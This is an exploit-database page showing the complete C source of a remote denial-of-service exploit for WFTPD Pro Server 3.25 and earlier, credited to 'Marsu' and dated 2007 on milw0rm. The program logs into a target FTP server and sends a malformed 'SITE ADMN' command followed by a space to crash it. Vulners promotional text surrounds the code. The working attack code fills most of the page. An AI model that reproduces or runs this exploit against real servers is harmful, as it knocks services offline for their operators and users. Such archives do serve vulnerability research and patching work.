Lucene search
K

WFTPD Pro Server <= 3.25 SITE ADMN Remote Denial of Service Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

WFTPD Server Remote DoS Exploit using SITE ADMN comman

Code

                                                /************************************************************************
*WFTPD server &#60;= 3.25 SITE ADMN DoS                                     *
*                                                                       *
*Sending command SITE ADMN + \32 makes server BOOM                      *
*                                                                       *
*usage: wftpd_dos.exe ip port user pass                                 *
*                                                                       *
*Coded by Marsu &#60;[email protected]&#62;                            *
************************************************************************/

#include &#34;winsock2.h&#34;
#include &#34;stdio.h&#34;
#include &#34;stdlib.h&#34;
#pragma comment(lib, &#34;ws2_32.lib&#34;)

int main(int argc, char* argv[])
{
	struct hostent *he;
	struct sockaddr_in sock_addr;
	WSADATA wsa;
	int ftpsock;
	char recvbuff[1024];
	char evilbuff[100];
	int buflen=100;

	if (argc!=5)
	{
		printf(&#34;[+] Usage: %s &#60;ip&#62; &#60;port&#62; &#60;user&#62; &#60;pass&#62;\n&#34;,argv[0]);
		return 1;
	}
	WSACleanup();
	WSAStartup(MAKEWORD(2,0),&wsa);

	printf(&#34;[+] Connecting to %s:%s ... &#34;,argv[1],argv[2]);
	if ((he=gethostbyname(argv[1])) == NULL) {
		printf(&#34;Failed\n[-] Could not init gethostbyname\n&#34;);
		return 1;
	}
	if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		printf(&#34;Failed\n[-] Socket error\n&#34;);
		return 1;
	}

	sock_addr.sin_family = PF_INET;
	sock_addr.sin_port = htons(atoi(argv[2]));
	sock_addr.sin_addr = *((struct in_addr *)he-&#62;h_addr);
	memset(&(sock_addr.sin_zero), &#39;\0&#39;, 8);
	if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
		printf(&#34;Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n&#34;, argv[1],argv[2],WSAGetLastError());
		return 1;
	}
	printf(&#34;OK\n&#34;);
	memset(recvbuff,&#39;\0&#39;,1024);
	recv(ftpsock, recvbuff, 1024, 0);

	memset(evilbuff,&#39;\0&#39;,buflen);
	memcpy(evilbuff,&#34;USER &#34;,5);
	memcpy(evilbuff+5,argv[3],strlen(argv[3]));
	memcpy(evilbuff+5+strlen(argv[3]),&#34;\r\n\0&#34;,3);
	printf(&#34;[+] Sending USER ... &#34;);
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf(&#34;Failed\n[-] Could not send\n&#34;);
		return 1;
	}
	printf(&#34;OK\n&#34;);
	memset(recvbuff,&#39;\0&#39;,1024);
	recv(ftpsock, recvbuff, 1024, 0);

	memset(evilbuff,&#39;\0&#39;,buflen);
	memcpy(evilbuff,&#34;PASS &#34;,5);
	memcpy(evilbuff+5,argv[4],strlen(argv[4]));
	memcpy(evilbuff+5+strlen(argv[4]),&#34;\r\n\0&#34;,3);

	printf(&#34;[+] Sending PASS ... &#34;);
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf(&#34;Failed\n[-] Could not send\n&#34;);
		return 1;
	}
	printf(&#34;OK\n&#34;);
	recv(ftpsock, recvbuff, 1024, 0);

	memset(evilbuff,&#39;\0&#39;,buflen);
	memcpy(evilbuff,&#34;SITE ADMN &#34;,10);
	memset(evilbuff+10,32,1);			//this char is powerfull :p
	memcpy(evilbuff+10+1,&#34;\r\n\0&#34;,3);

	printf(&#34;[+] Sending SITE ADMN ... &#34;);
	if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
		printf(&#34;Failed\n[-] Could not send\n&#34;);
		return 1;
	}
	printf(&#34;OK\n&#34;);

	printf(&#34;[+] Host should be down\n&#34;);
	return 0;
}

// milw0rm.com [2007-01-14]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13